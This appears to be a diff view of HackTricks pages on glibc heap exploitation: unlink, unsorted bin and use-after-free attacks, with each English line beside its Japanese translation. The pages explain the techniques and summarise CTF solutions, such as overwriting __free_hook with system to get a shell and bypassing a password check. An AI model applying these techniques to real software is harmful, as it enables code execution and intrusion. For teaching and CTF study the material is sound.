printf("%s\n", data); printf("%s\n", data);
return 0; return 0;
} }
``` ```
</details> </details>
- Attack doesn't work if tcaches are used (after 2.26) - この攻撃は、tcachesが使用されている場合2.26以降)には機能しません。
### Goal ### 目標
This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm. この攻撃は、**チャンクへのポインタを自分自身の3つのアドレス前を指すように変更する**ことを可能にします。この新しい位置(ポインタがあった場所の周囲)に、他の制御可能なアロケーションやスタックなどの興味深いものがある場合、それらを読み取ったり上書きしたりして、より大きな被害を引き起こすことが可能です。
- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary - このポインタがスタックにあった場合、現在は自分自身の3つのアドレス前を指しているため、ユーザーがそれを読み取ったり変更したりできる可能性があるため、スタックから機密情報を漏洩させたり、リターンアドレスをおそらく変更したりすることが可能になります。カナリアに触れずに。
- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\ - CTFの例では、このポインタは他のアロケーションへのポインタの配列にあり、したがって、3つのアドレス前を指すようにし、それを読み書きできるようにすることで、他のポインタを他のアドレスを指すようにすることが可能です。\
As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT). ユーザーが他のアロケーションも読み書きできる可能性があるため、情報を漏洩させたり、任意の場所に新しいアドレスを上書きしたりすることができますGOTのように
### Requirements ### 要件
- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes. - メモリ(例:スタック)内でいくつかの制御を行い、いくつかの属性に値を与えるチャンクを作成すること。
- Stack leak in order to set the pointers of the fake chunk. - フェイクチャンクのポインタを設定するためのスタックリーク。
### Attack ### 攻撃
- There are a couple of chunks (chunk1 and chunk2) - いくつかのチャンクchunk1とchunk2が存在します。
- The attacker controls the content of chunk1 and the headers of chunk2. - 攻撃者はchunk1の内容とchunk2のヘッダーを制御します。
- In chunk1 the attacker creates the structure of a fake chunk: - chunk1で攻撃者はフェイクチャンクの構造を作成します
- To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating` - 保護を回避するために、`size`フィールドが正しいことを確認して、エラーを回避します:`corrupted size vs. prev_size while consolidating`
- and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located: - フェイクチャンクの`fd``bk`フィールドは、chunk1ポインタが格納されている場所をそれぞれ-3および-2のオフセットで指すように設定されているため、`fake_chunk->fd->bk``fake_chunk->bk->fd`は、メモリスタック内の実際のchunk1アドレスが格納されている位置を指します
<figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure> <figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained. - chunk2のヘッダーは、前のチャンクが使用されていないことと、サイズが含まれているフェイクチャンクのサイズであることを示すように変更されます。
- When the second chunk is freed then this fake chunk is unlinked happening: - 2番目のチャンクが解放されると、このフェイクチャンクがアンリンクされ、次のようになります
- `fake_chunk->fd->bk` = `fake_chunk->bk` - `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd` - `fake_chunk->bk->fd` = `fake_chunk->fd`
- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**. - 以前に、`fake_chunk->fd->bk``fake_chunk->bk->fd`が同じ場所(`chunk1`が格納されていたスタック内の位置)を指すように設定されていたため、これは有効なリンクリストでした。**両方が同じ位置を指しているため**、最後のもの(`fake_chunk->bk->fd = fake_chunk->fd`)だけが**効果**を持ちます。
- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**. - これにより、**スタック内のchunk1へのポインタが、スタック内の3つのアドレス前に格納されているアドレスまたはバイトに上書きされます**。
- Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere. - したがって、攻撃者が再びchunk1の内容を制御できる場合、**スタック内に書き込むことができ**、カナリアをスキップしてリターンアドレスを上書きし、ローカル変数の値やポインタを変更することが可能になります。攻撃者が再びchunk1のアドレスをスタック内の異なる位置に変更できる場合、再びchunk1の内容を制御できれば、どこにでも書き込むことができるようになります。
- Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**. - これは、**アドレスがスタックに格納されているため**可能でした。リスクと悪用は、**フェイクチャンクへのアドレスがどこに格納されているか**に依存する可能性があります。
<figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure> <figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## References ## 参考文献
- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit) - [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used: - CTFでunlink攻撃を見つけるのは奇妙ですが、ここにはこの攻撃が使用されたいくつかのワriteupがあります
- CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) - CTFの例[https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE. - この例では、スタックの代わりにmallocされたアドレスの配列があります。unlink攻撃は、ここにチャンクを割り当てることができるように行われ、mallocされたアドレスの配列のポインタを制御できるようになります。次に、これらのアドレス内のチャンクの内容を変更する機能があり、アドレスをGOTに指し、関数アドレスを変更してリークとRCEを取得します。
- Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) - 別のCTFの例[https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget. - 前の例と同様に、アロケーションのアドレスの配列があります。unlink攻撃を実行して、最初のアロケーションへのアドレスを配列の開始前のいくつかの位置に指すようにし、新しい位置でこのアロケーションを上書きすることが可能です。したがって、他のアロケーションのポインタを上書きして、atoiのGOTを指し、libcリークを取得するためにそれを印刷し、次にatoiのGOTをワンガジェットのアドレスで上書きすることが可能です。
- CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) - unlink攻撃に非常に似た脆弱性を悪用するカスタムmallocおよびfree関数を使用したCTFの例[https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute. - FDおよびBKポインタを制御することを可能にするオーバーフローがあります。さらに、ヒープにはexecビットがあるため、ヒープアドレスを漏洩させ、GOTから関数をヒープチャンクにポイントしてシェルコードを実行することが可能です。
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,72 +2,72 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
For more information about what is an unsorted bin check this page: 未整理ビンについての詳細はこのページを確認してください:
{{#ref}} {{#ref}}
bins-and-memory-allocations.md bins-and-memory-allocations.md
{{#endref}} {{#endref}}
Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense. 未整理リストは、チャンクの `bk` アドレスに `unsorted_chunks (av)` のアドレスを書き込むことができます。したがって、攻撃者が未整理ビン内のチャンクの `bk` ポインタのアドレスを**変更できれば**、**そのアドレスを任意のアドレスに書き込むことができ**、Glibc アドレスを漏洩させたり、いくつかの防御を回避したりするのに役立ちます。
So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack). 基本的に、この攻撃は**任意のアドレスに大きな数を設定することを可能にします**。この大きな数はアドレスであり、ヒープアドレスまたはGlibcアドレスである可能性があります。典型的なターゲットは**`global_max_fast`**であり、これによりより大きなサイズのファストビンを作成できるようになります(未整理ビン攻撃からファストビン攻撃に移行します)。
> [!TIP] > [!TIP]
> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered. > 提供された例を見て、[https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) で 0x4000 と 0x5000 をチャンクサイズとして使用するとTcacheを避けるため、**現在**エラー **`malloc(): unsorted double linked list corrupted`** が発生することがわかります。
> >
> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena. > したがって、この未整理ビン攻撃は現在(他のチェックとともに)二重リンクリストを修正できる必要があり、`victim->bk->fd == victim` または `victim->fd == av (arena)` を回避する必要があります。これは、書き込みたいアドレスがその `fd` ポジションにフェイクチャンクのアドレスを持ち、フェイクチャンクの `fd` がアリーナを指していることを意味します。
> [!CAUTION] > [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.** > この攻撃は未整理ビンを破損させることに注意してください(したがって小さなものと大きなものも)。したがって、**現在はファストビンからの割り当てのみを使用できます**(より複雑なプログラムは他の割り当てを行い、クラッシュする可能性があります)、これをトリガーするには、**同じサイズを割り当てる必要があります。さもなければプログラムはクラッシュします。**
> >
> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed. > **`global_max_fast`** を上書きすることは、この場合に役立つかもしれません。ファストビンが他のすべての割り当てを処理できると信頼して、エクスプロイトが完了するまで。
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`** [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) のコードは非常によく説明していますが、mallocを変更して十分なメモリを割り当て、Tcacheに終わらないようにすると、前述のエラーが発生し、この技術を防ぐことができます**`malloc(): unsorted double linked list corrupted`**
## Unsorted Bin Infoleak Attack ## 未整理ビン情報漏洩攻撃
This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\ これは実際には非常に基本的な概念です。未整理ビン内のチャンクにはポインタが含まれます。未整理ビンの最初のチャンクは、実際には**`fd`** と **`bk`** リンクが**メインアリーナGlibcの一部を指しています**。\
Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**. したがって、**未整理ビン内にチャンクを置いてそれを読み取ることができれば**use after freeまたは**ポインタの少なくとも1つを上書きせずに再度割り当ててから**それを**読み取ることができれば、**Glibc情報漏洩**を得ることができます。
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\ この[**攻撃はこの書き込みで使用されました**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)が、4つのチャンク構造A、B、C、D - Dはトップチャンクとの統合を防ぐためだけに存在しますを悪用するもので、Bでのヌルバイトオーバーフローを使用してCがBが未使用であることを示すようにしました。また、Bでは `prev_size` データが変更され、サイズがBのサイズではなくA+Bになりました。\
Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked. その後、Cが解放され、A+Bと統合されましたただしBはまだ使用中でした。サイズAの新しいチャンクが割り当てられ、その後、libcから漏洩したアドレスがBに書き込まれ、そこから漏洩しました。
## References & Other examples ## 参考文献と他の例
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled. - 目標は、4869より大きな値でグローバル変数を上書きすることで、フラグを取得できるようにし、PIEは有効になっていません。
- It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size. - 任意のサイズのチャンクを生成でき、希望のサイズでヒープオーバーフローがあります。
- The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones. - 攻撃は3つのチャンクを作成することから始まりますチャンク0はオーバーフローを悪用し、チャンク1はオーバーフローされ、チャンク2はトップチャンクが前のものと統合しないようにします。
- Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10` - 次に、チャンク1が解放され、チャンク0がチャンク1の `bk` ポインタを指すようにオーバーフローします:`bk = magic - 0x10`
- Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag. - 次に、チャンク1と同じサイズのチャンク3が割り当てられ、これが未整理ビン攻撃をトリガーし、グローバル変数の値を変更し、フラグを取得できるようにします。
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used. - マージ関数は脆弱であり、渡された両方のインデックスが同じであれば、それを再割り当てし、その後解放しますが、解放された領域へのポインタを返します。
- Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free. - したがって、**2つのチャンクが作成されます****チャンク0**は自分自身とマージされ、チャンク1はトップチャンクとの統合を防ぎます。次に、**マージ関数がチャンク0で2回呼び出され**、これにより使用後の解放が発生します。
- Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**. - 次に、**`view`** 関数がインデックス2使用後の解放チャンクのインデックスで呼び出され、**libcアドレスが漏洩します**。
- As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`. - バイナリには**`global_max_fast`** より大きなサイズのみをmallocする保護があるため、ファストビンは使用されず、未整理ビン攻撃が使用されてグローバル変数 `global_max_fast` を上書きします。
- Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins. - 次に、インデックス2使用後の解放ポインタで編集関数を呼び出し、`bk` ポインタを `p64(global_max_fast-0x10)` を指すように上書きします。次に、新しいチャンクを作成すると、以前に妥協された解放アドレス0x20が使用され、**未整理ビン攻撃がトリガーされ**、`global_max_fast` を非常に大きな値で上書きし、ファストビンでチャンクを作成できるようになります。
- Now a **fast bin attack** is performed: - ここで**ファストビン攻撃**が実行されます:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: - まず、**`__free_hook`** の場所でサイズ200のファストチャンクを操作できることがわかります
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook - <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook> $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 <strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 </strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre> </code></pre>
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed - この場所でサイズ0x200のファストチャンクを取得できれば、実行される関数ポインタを上書きすることが可能になります。
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. - そのために、サイズ `0xfc` の新しいチャンクを作成し、そのポインタでマージ関数を2回呼び出すことで、ファストビン内のサイズ `0xfc*2 = 0x1f8` の解放されたチャンクへのポインタを取得します。
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. - 次に、このチャンクの編集関数を呼び出して、このファストビンの**`fd`** アドレスを前の**`__free_hook`** 関数を指すように変更します。
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. - 次に、サイズ `0x1f8` のチャンクを作成して、ファストビンから以前の無駄なチャンクを取得し、別のサイズ `0x1f8` のチャンクを作成して、**`__free_hook`** 内のファストビンチャンクを取得し、**`system`** 関数のアドレスで上書きします。
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. - 最後に、文字列 `/bin/sh\x00` を含むチャンクが削除関数を呼び出して解放され、**`__free_hook`** 関数がトリガーされ、`system``/bin/sh\x00` をパラメータとして渡します。
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address - 1Bオーバーフローを悪用して未整理ビン内のチャンクを統合し、libc情報漏洩を取得し、その後ファストビン攻撃を実行してmallocフックをワンガジェットアドレスで上書きする別の例
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`. - サイズが `0x100` より大きいチャンクのみを割り当てることができます。
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - 未整理ビン攻撃を使用して `global_max_fast` を上書きしますASLRのため1/16回機能します。12ビットを変更する必要がありますが、16ビットを変更する必要があります
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. - グローバルチャンク配列を変更するためのファストビン攻撃。これにより、任意の読み取り/書き込みプリミティブが得られ、GOTを変更していくつかの関数を `system` にポイントさせることができます。
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,16 +2,16 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**. 名前が示すように、この脆弱性はプログラムがオブジェクトのためにヒープに**いくつかのスペースを保存し**、そこに**情報を書き込み**、もう必要ないと思って**解放し**、その後**再度アクセスする**ときに発生します。
The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it). ここでの問題は、**解放されたメモリにアクセスしても**違法ではない(**エラーは発生しない**)ことです。したがって、プログラム(または攻撃者)が**解放されたメモリを再割り当てし、任意のデータを保存する**ことができた場合、解放されたメモリが最初のポインタからアクセスされると、その**データが上書きされてしまう**ため、**元のデータの感度に依存する脆弱性が発生します**(もしそれが呼び出される関数のポインタであった場合、攻撃者はそれを制御できる可能性があります)。
### First Fit attack ### ファーストフィット攻撃
A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\ ファーストフィット攻撃は、glibcのような一部のメモリアロケータが解放されたメモリを管理する方法をターゲットにしています。メモリブロックを解放すると、それはリストに追加され、新しいメモリリクエストはそのリストの末尾から取得されます。攻撃者はこの動作を利用して、**どのメモリブロックが再利用されるかを操作し、潜在的にそれらを制御する**ことができます。これにより、「use-after-free」問題が発生し、攻撃者が**再割り当てされたメモリの内容を変更する**ことで、セキュリティリスクが生じる可能性があります。\
Check more info in: 詳細は以下を確認してください:
{{#ref}} {{#ref}}
first-fit.md first-fit.md

View File

@ -4,36 +4,33 @@
## **First Fit** ## **First Fit**
When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins. プログラムでglibcを使用してメモリを解放すると、異なる「ビン」がメモリチャンクを管理するために使用されます。ここでは、一般的な2つのシナリオ未整理ビンとファストビンの簡略化された説明を示します。
### Unsorted Bins ### 未整理ビン
When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin. ファストチャンクでないメモリチャンクを解放すると、それは未整理ビンに入ります。このビンは、新しく解放されたチャンクが前方(「ヘッド」)に追加されるリストのように機能します。新しいメモリチャンクを要求すると、アロケータは未整理ビンの後方(「テイル」)から見て、十分な大きさのチャンクを探します。未整理ビンのチャンクが必要なサイズより大きい場合、それは分割され、前の部分が返され、残りの部分はビンに残ります。
Example: 例:
- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`).
- When you free `a`, it goes to the unsorted bin.
- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin.
- `c` will be pointing to the previous `a` and filled with the `a's`.
- 300バイト`a`を割り当て、その後250バイト`b`)を割り当て、`a`を解放し、再度250バイト`c`)を要求します。
- `a`を解放すると、それは未整理ビンに入ります。
- その後、再度250バイトを要求すると、アロケータはテイルで`a`を見つけて分割し、リクエストに合う部分を返し、残りをビンに保持します。
- `c`は以前の`a`を指し、`a`の内容で埋められます。
```c ```c
char *a = malloc(300); char *a = malloc(300);
char *b = malloc(250); char *b = malloc(250);
free(a); free(a);
char *c = malloc(250); char *c = malloc(250);
``` ```
### Fastbins ### Fastbins
Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head. Fastbinsは小さなメモリチャンクに使用されます。未整理ビンとは異なり、fastbinsは新しいチャンクを先頭に追加し、後入れ先出しLIFO動作を作成します。小さなメモリチャンクを要求すると、アロケータはfastbinの先頭から取得します。
Example: 例:
- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`).
- When you free them in any order, the freed chunks are added to the fastbin's head.
- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin.
- 20バイトのチャンクを4つ`a``b``c``d`)割り当てます。
- それらを任意の順序で解放すると、解放されたチャンクはfastbinの先頭に追加されます。
- その後、20バイトのチャンクを要求すると、アロケータはfastbinの先頭から最も最近解放されたチャンクを返します。
```c ```c
char *a = malloc(20); char *a = malloc(20);
char *b = malloc(20); char *b = malloc(20);
@ -48,17 +45,16 @@ b = malloc(20); // c
c = malloc(20); // b c = malloc(20); // b
d = malloc(20); // a d = malloc(20); // a
``` ```
## その他の参考文献と例
## Other References & Examples
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit) - [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/) - [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
- ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check** - ARM64. Use after free: ユーザーオブジェクトを生成し、それを解放し、解放されたチャンクを取得して書き込むオブジェクトを生成し、**前のユーザーの位置からuser->passwordを上書きする**。ユーザーを再利用して**パスワードチェックをバイパスする**。
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example) - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
- The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\<size>) with the contents of the note. - プログラムはートを作成することを許可します。ートには、malloc(8)内にート情報があり呼び出すことができる関数へのポインタ付きートの内容を持つ別のmalloc(\<size>)へのポインタがあります。
